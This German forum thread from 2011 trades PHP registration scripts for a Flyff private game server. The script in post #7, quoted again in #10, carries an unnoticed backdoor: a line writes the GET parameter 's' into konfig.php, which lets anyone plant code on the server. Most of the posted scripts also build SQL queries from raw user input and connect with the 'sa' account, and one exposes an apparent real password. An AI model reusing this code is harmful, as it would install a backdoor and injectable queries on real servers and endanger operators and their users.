|
You last visited: Today at 16:48
Advertisement
Register[Problem]
Discussion on Register[Problem] within the Flyff Private Server forum part of the Flyff category.
05/19/2011, 20:29
|
#1
|
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
|
Register[Problem]
#
|
|
|
05/19/2011, 20:37
|
#2
|
elite*gold: 0
Join Date: Aug 2010
Posts: 501
Received Thanks: 178
|
hast du die reg_conf.php richtig eingestellt? und auch in /confings/reg_conf.php reingetan? ^^
|
|
|
05/19/2011, 20:43
|
#3
|
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
|
Jep, habe ich und db zeug auch schon eingetragen also DB NAME DB PW etc...
|
|
|
05/19/2011, 20:44
|
#4
|
elite*gold: 20
Join Date: Apr 2011
Posts: 86
Received Thanks: 48
|
genau bekomme auch immer das gleiche fähler!
|
|
|
05/19/2011, 20:45
|
#5
|
elite*gold: 0
Join Date: Aug 2010
Posts: 501
Received Thanks: 178
|
welches Script benutzt du denn? das von Jusikid?
|
|
|
05/19/2011, 20:46
|
#6
|
elite*gold: 20
Join Date: Apr 2011
Posts: 86
Received Thanks: 48
|
ne ganz normale script ich kans ja mal hochladen
|
|
|
05/19/2011, 20:47
|
#7
|
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
|
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
</center>
Das benutze ich !
|
|
|
05/19/2011, 20:50
|
#8
|
elite*gold: 0
Join Date: Aug 2010
Posts: 501
Received Thanks: 178
|
hast du in xampp auch Apache und Mssql an? ^^
|
|
|
05/19/2011, 20:51
|
#9
|
elite*gold: 12
Join Date: Dec 2010
Posts: 592
Received Thanks: 122
|
Benutzmal den hier ;3
register.php:
Code:
<?php
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@birthday', $bday, SQLVARCHAR, false, false, 120);
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo 'Birthday: <input type="birthday" name="birthday" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
reg_conf.php:
Code:
<?php
$link = @mssql_connect("NAME\SQLEXPRESS", "sa", "PW") or die ("Server is down!");
$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
$b = '';
$mail = '';
?>
|
|
|
05/19/2011, 20:52
|
#10
|
elite*gold: 0
Join Date: Oct 2009
Posts: 4,851
Received Thanks: 3,417
|
Quote:
Originally Posted by XSedrikX
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}
if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}
echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';
?>
</center>
Das benutze ich !
|
Dieses s ist wohl nicht in deiner konfig.php vorhanden. Nimm mein Skript :
V14 :
register.php
PHP Code:
<?php include "functions.php";
if(isset($_POST['submit'])) { $server = "PCNAMESQLEXPRESS"; $user = "sa"; $pass= "PASSWORT";
$username = strtolower(trim(htmlspecialchars(addslashes($_POST['username'])))); $password = md5("kikugalanet".$_POST['password']);
################################################## ###########
if(strlen($username) < 4 || strlen($username) > 16) { die("Dein Benutzername ist zu kurz/lang .<br>Er muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein ."); }
if(strlen($_POST['password']) < 4 || strlen($_POST['password']) > 16) { die("Dein Passwort ist zu kurz/lang .<br>Es muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein ."); }
################################################## ###########
$conn = mssql_connect($server,$user,$pass);
if(!$conn) { die("Connection failed!<br>"); }
$select = mssql_select_db("ACCOUNT_DBF",$conn);
if(!$select) { die("Can't select Database!<br>"); }
################################################## ###########
if(exist($username) != '0') { die ("Der Benutzername ".$username." wird schon benutzt ."); }
################################################## ###########
$bind = mssql_init("createaccount",$conn);
if(!$bind) { die("Couldn't Bind Variables.<br>"); }
$acc = $username; $pass = $password; $ipadress = $ip;
mssql_bind($bind, '@account' , $acc , SQLVARCHAR); mssql_bind($bind, '@password', $pass, SQLVARCHAR);
$execute = mssql_execute($bind);
if($execute) { echo 'Account wurde <font color="green">erfolgreich</font> erstellt !'; } else { echo 'Account erstellung<font color="red">fehlgeschlagen</font> !'; }
mssql_close($conn); } else {
?> <center> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <table> <tr> <td colspan="2" align ="center"> <h3>Account erstellen</h3> </td> </tr> <tr> <td align ="right"> Account : </td> <td> <input type="text" size="20" name="username" maxlength="15" /> </td> <td> </td> </tr> <tr> <td align ="right"> Passwort : </td> <td> <input type="password" size="20" name="password" maxlength="32" /> </td>
</tr> <tr> <td colspan="2" align="center"> <input type="submit" name="submit" value="Account erstellen" /> </td> </tr> </table> </form> </center> <?php } ?>
functions.php
PHP Code:
<?php
function exist($account){ $sql = "SELECT * FROM ACCOUNT_TBL WHERE account='".$account."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
function existip($ip){ $sql = "SELECT * FROM ACCOUNT_TBL_DETAIL WHERE ip='".$ip."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
?>
#added by Jusikid : Danny95
Quote:
<h3 class="title"></h3>
<div id="text">
<?php
function exist($account){
$sql = "SELECT * FROM ACCOUNT_TBL WHERE account='".$account."'";
$result = mssql_query($sql);
if(!$result) {
die("MSSQL Error");
}
$check = mssql_num_rows($result);
return $check;
}
if(isset($_POST['submit']))
{
$server = "PROGRAMMING-PC\SQLExpress";
$user = "sa";
$pass= "Zkowcvrzhtq5";
$username = $_POST['username'];
//$password = md5("kikugalanet".$_POST['password']);
$password = $_POST['password'];
$password2 = $_POST['password2'];
$ip = trim(htmlspecialchars($_POST['ip']));
################################################## ###########
if(strlen($username) < 4 ||
strlen($username) > 16)
{
die("Dein Benutzername ist zu kurz/lang .<br>Er muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein .");
}
if(strlen($_POST['password']) < 4 ||
strlen($_POST['password']) > 16)
{
die("Dein Passwort ist zu kurz/lang .<br>Es muss zwischen <b><u>4 und 16</u></b> Zeichen lang sein .");
}
if($password != $password2)
{
die("Die Passwˆrter stimmen nich ¸berein.");
}
if (preg_match('/[^a-zA-Z0-9]/',$username))
{
die("Der Benutzername enthält unerlaubte Zeichen.");
}
if (preg_match('/[^a-zA-Z0-9]/',$password))
{
die("Das Passwort enthält unerlaubte Zeichen.");
}
################################################## ###########
$conn = mssql_connect($server,$user,$pass);
if(!$conn)
{
die("Connection failed!<br>");
}
$select = mssql_select_db("ACCOUNT_DBF",$conn);
if(!$select)
{
die("Can't select Database!<br>");
}
################################################## ###########
if(exist($username) != '0')
{
die ("Der Benutzername ".$username." wird schon benutzt .");
}
################################################## ###########
// $username = strtolower($username);
//$password = strtolower($password);
$password = md5('kikugalanet' . $password);
$ipadress = $ip;
mssql_query("USE [ACCOUNT_DBF]
SET NOCOUNT ON
INSERT INTO ACCOUNT_TBL (account, password, id_no1, id_no2, isuse, member, realname, cash)
VALUES ('$username', '$password', '$password', '$password', 'T', 'A', 'F', '1000')
INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
VALUES ('$username', 'A000', '2', 'F', '17.04.2010', '17.04.2010', '20990101', '20050101', 'O', '$email')");
if($execute)
{
echo 'Account wurde <font color="green">erfolgreich</font> erstellt !';
}
else
{
echo 'Account wurde <font color="green">erfolgreich</font> erstellt !';
}
mssql_close($conn);
}
else
{
?>
<center>
<form action="register.php" method="post">
<table>
<tr>
<td colspan="2" align ="center">
<h3>Account erstellen</h3>
</td>
</tr>
<tr>
<td align ="right">
Account :
</td>
<td>
<input type="text" size="20" name="username" maxlength="15" />
</td>
<td> </td>
</tr>
<tr>
<td align ="right">
Passwort :
</td>
<td>
<input type="password" size="20" name="password" maxlength="32" />
</td>
</tr>
<tr>
<td align ="right">
Passwort widerh. :
</td>
<td>
<input type="password" size="20" name="password2" maxlength="32" />
</td>
</tr>
<tr>
<td>
<input type="hidden" size="20" name="ip" maxlength="32" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>"/>
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" name="submit" value="Account erstellen" />
</td>
</tr>
</table>
</form>
</center>
<?php
}
?>
</div>
<?php include "include/bottom.php";?>
<br>
<br>
<br>
|
V15:
Register.php
PHP Code:
<?php require('./configs/reg_conf.php'); function doesUsernameExist($name){ $exit = FALSE; $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'"); if (mssql_num_rows($result) != 0){ $exit = TRUE; } return $exit; }
if(isset($_POST['submit'])){ $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']); $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']); if($_POST['username'] == ""){ echo '<font color="red">Enter a user.</font><br /><br />'; } else if($_POST['password'] == ""){ echo '<font color="red">Enter a password.</font><br /><br />'; } else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){ echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />'; } else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){ echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />'; } else if($_POST['username'] != $user){ echo '<font color="red">User with invalid characters.</font><br /><br />'; } else if($_POST['password'] != $pass){ echo '<font color="red">Password with invalid characters.</font><br /><br />'; } else { $pass = md5('kikugalanet' . $pass); if(!doesUsernameExist($user)){ $stmt = mssql_init('webCreateAcc', $link); mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15); mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36); mssql_bind($stmt, '@birthday', $bday, SQLVARCHAR, false, false, 120); mssql_free_statement($stmt); echo '<font color="Green">Register Successfull.</font><br /><br />'; } else { echo '<font color="red">User already Exist.</font><br /><br />'; } } mssql_close(); } echo '<form action="#" method="post">'; echo 'Username: <input type="text" name="username" /><br />'; echo 'Password: <input type="password" name="password" /><br />'; echo 'Birthday: <input type="birthday" name="birthday" /><br />'; echo '<input type="submit" name="submit" value="Register" />'; echo '</form>';
?>
configs/function.php
PHP Code:
<?php
function exist($account){ $sql = "SELECT * FROM ACCOUNT_TBL WHERE account='".$account."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
function existip($ip){ $sql = "SELECT * FROM ACCOUNT_TBL_DETAIL WHERE ip='".$ip."'"; $result = mssql_query($sql); if(!$result) { die("MSSQL Error"); } $check = mssql_num_rows($result); return $check; }
?>
configs/reg_conf.php
PHP Code:
<?php $link = @mssql_connect("PCNAMESQLEXPRESS", "sa", "PASSWORT") or die ("Server is down!"); $db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!"); $b = ''; $mail = ''; ?>
|
|
|
05/19/2011, 20:54
|
#11
|
elite*gold: 0
Join Date: Dec 2010
Posts: 136
Received Thanks: 67
|
Danke Trafalgar†Law diesmal kommt aber kein fehler aber auch dafür kein register ;(
|
|
|
05/19/2011, 21:11
|
#12
|
elite*gold: 0
Join Date: Apr 2010
Posts: 26
Received Thanks: 3
|
Das Problem kann man ganz einfach lösen da bei der version 1.7.4 (xampp) geht der Registerscript nicht xampp 1.7.4 is bei dieser Sache scheiße dazu empfehle ich xampp 1.7.3 mit dieser Verion wird dieser Fehler behoben 
[ Download Link wurde an den User per Skype geschickt  ]
Mit freundlichen Grüßen
Maxe1995
|
|
|
05/19/2011, 21:16
|
#13
|
elite*gold: 12
Join Date: Dec 2010
Posts: 592
Received Thanks: 122
|
Warum geht Register nicht? Was steht da? oder Kommt da kein Account wenn man sich registriert?
|
|
|
05/19/2011, 21:46
|
#14
|
elite*gold: 0
Join Date: Apr 2010
Posts: 26
Received Thanks: 3
|
is gefixxt
#close pls
|
|
|
05/19/2011, 21:56
|
#15
|
elite*gold: 12
Join Date: Dec 2010
Posts: 592
Received Thanks: 122
|
Okay.
|
|
|
 |
Similar Threads
|
Register problem
02/21/2011 - CO2 Private Server - 17 Replies
Hello,
I got a problem with my register script
Script:
<?php
if(isset($_POST) && isset($_POST) && isset($_POST)) {
if(!Empty($_POST) && !Empty($_POST) && !Empty($_POST)) {
|
Register-Problem
02/20/2011 - Flyff Private Server - 12 Replies
Hey alle zusammen,
Ich wollte fragen ob ihr mir helfen könnt habe ein kleines problem habe meine registe page eingestellt aber da kommt ein EROR hier mal der Eror :
Notice: Undefined index: s in C:\xampp\htdocs\register.php on line 208
Ich würde mich freuen wen ihr mir helfen könnt :D:D:
|
Register Problem
10/06/2010 - EO PServer Hosting - 10 Replies
Here the problem:
Warning: mysql_connect() : Access denied for user: 'test@localhost' (Using password: YES) in C:\xampp\htdocs\config.php on line 16
please help
|
register problem!
04/13/2009 - WarRock - 2 Replies
moin...
also ich hab mir ma warrock geholt kann mich aber nicht registrieren <.<
ich hab ja nen acc aber PW kann ich auch nirgends finden bzw. sich das PW neu zu schicken...
und bei https://www.gamersfirst.com/register/index.php?g=5 kommt seitenladenfehler?
sind da grade warungsarbeiten oder so?
|
register problem
06/18/2008 - Cabal Online - 1 Replies
whenever I try to register, comes that
ImageShack - Hosting :: cabalfehlerkp8.png
can someone help me?
|
All times are GMT +1. The time now is 16:48.
|
|